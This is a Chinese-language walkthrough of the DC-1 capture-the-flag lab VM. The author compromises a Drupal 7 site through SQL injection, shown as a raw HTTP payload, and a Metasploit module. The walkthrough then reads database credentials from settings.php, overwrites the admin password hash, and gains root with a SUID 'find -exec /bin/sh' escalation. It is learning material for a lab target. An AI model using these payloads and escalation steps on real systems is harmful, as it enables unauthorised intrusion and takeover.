一、信息收集
1.1 环境
kali : 192.168.124.141
DC-1 : 192.168.124.150
1.2 nmap进行扫描 :nmap -sV 192.168.124.150
IP : 192.168.124.150 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) MAC Address: 00:0C:29:17:19:2E (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现有22端口 ,先拿hydra爆破发现也没爆破出来 。
登录web页面 看看有没有有用,发现web指纹。
搜索了一下发现Drupal 7.0是存在SQL注入漏洞的,利用burpsuite抓包发到repeater模块,经过证实是可以使用user(),database()等内置函数的,但是后续进行爆表爆字段发现注入失败,一直在报错。
POST /node?destination=node HTTP/1.1 Host: 192.168.124.150 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 120 Origin: http://192.168.124.150 Connection: keep-alive Referer: http://192.168.124.150/ Cookie: has_js=1 Upgrade-Insecure-Requests: 1 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
上面手注无果,不过已经是知道有SQL注入漏洞了,看前辈文章提示发现可以利用Metasploit。
kali利用msf过程:
选择这个存在SQL注入的攻击模块
run执行,之后获得一个shell环境
之后执行python脚本获得一个类似于terminal环境的shell
当前权限为www-data ,同时当前目录下有flag1
获得flag1:Every good CMS needs a config file - and so do you.
根据提示需要看配置文件,但是看web.config后没发现有用的地方,查看前辈文章,发现需要找类似于settings.php的文件或者config.php的文件,那就进行模糊查找看看。
find -name '*set*.php'
发现应该是 sites/default/settings.php
cat看一下。获得flag2;获得MySQL数据库账号密码。
连接数据库看一下,mysql -u dbuser -p
R0ck3t
进入数据库,那就脱裤看看 (刺激:) )
就俩库,应该是drupaldb里应该有什么值得鼓捣的东西
发现里面有个users表,查看一下表里的内容
应该是web页面的登陆账号密码,但是密码进行了特殊加密。此时卡住 Orz
看前辈文章得知需要知道drupal加密的方式,将自己进行加密后的密码放到数据库里,或者直接修改已存在的用户的密码。
通过查询发现:
加密方式文件为: /includes/password.inc
加密文件(可执行)为: /scripts/password-hash.sh
利用方式:
执行 ./password-hash.sh password 即可获得加密过的password
PS:此处需要提前将includes目录全部复制到scripts目录下才可进行加密
进入scripts目录,执行: cp -r ../includes ./
加密 123 ./password-hash.sh 123
修改admin用户的密码为123:
数据库中执行
update users Set pass='$S$Ddw9oMOm2nfFPozoI.HYcdLo6jJIyLQHfmx8shTmNq1m873jzuXr' where name='admin';
修改好后即可用123登录web界面,瞎点了点发现了flag3
flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
此处提示提到了 shadow文件 和exec命令
Shadow肯定是没权限看了,先看看passwd吧
发现flag4,进入/home/flag4目录下发现flag4.txt
根据提示,想拿最后flag需要root权限,所以还是需要提权。
根据前辈提示此处需要进行SUID提权 ,结合之前的flag所以应该是结合find命令和-exec ---Orz
SUID提权原理:如果find本身具有suid的权限,因此通过find执行的命令就是root权限。
关于SUID:SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUID提权:
https://www.cnblogs.com/junsec/p/11652723.html
首先执行
find / -perm -u=s -type f 2>/dev/null 查找suid文件
命令解释:
/表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 / dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
利用find命令进行SUID 提权:
利用方式:find ./ aaa -exec '/bin/sh' \;
已提升到root权限,拿到final flag
总结:
0x01:信息收集,22扫描爆破无果;扫描web指纹发现drupal7存在sql漏洞 0x02:利用metasploit并配合python脚本弹shell 0x03:依据flag1提示,找到setting配置文件获得mysql数据库账号;拿到flag2 0x04:根据前辈提示获取drupal数据库加密方式添加/修改 获得web页面账号 0x05:在web页面拿到flag3 根据提示需要利用find -exec shadow等进行进一步渗透 0x06:查看passwd文件看到flag4用户,在home/flag4拿到flag4得知必须要提权至root 0x07:根据前辈的文章提示需要利用SUID进行提权,利用find提权之后拿到最终flag
后续:
由于想了解msf是怎样建立shell的,特地去重新抓包:(下面纯属小白个人理解,欢迎大佬评论指正)
攻击流量:
通过解码分析,是通过insert into 插入数据,数据内容为php代码,应该是写入了木马。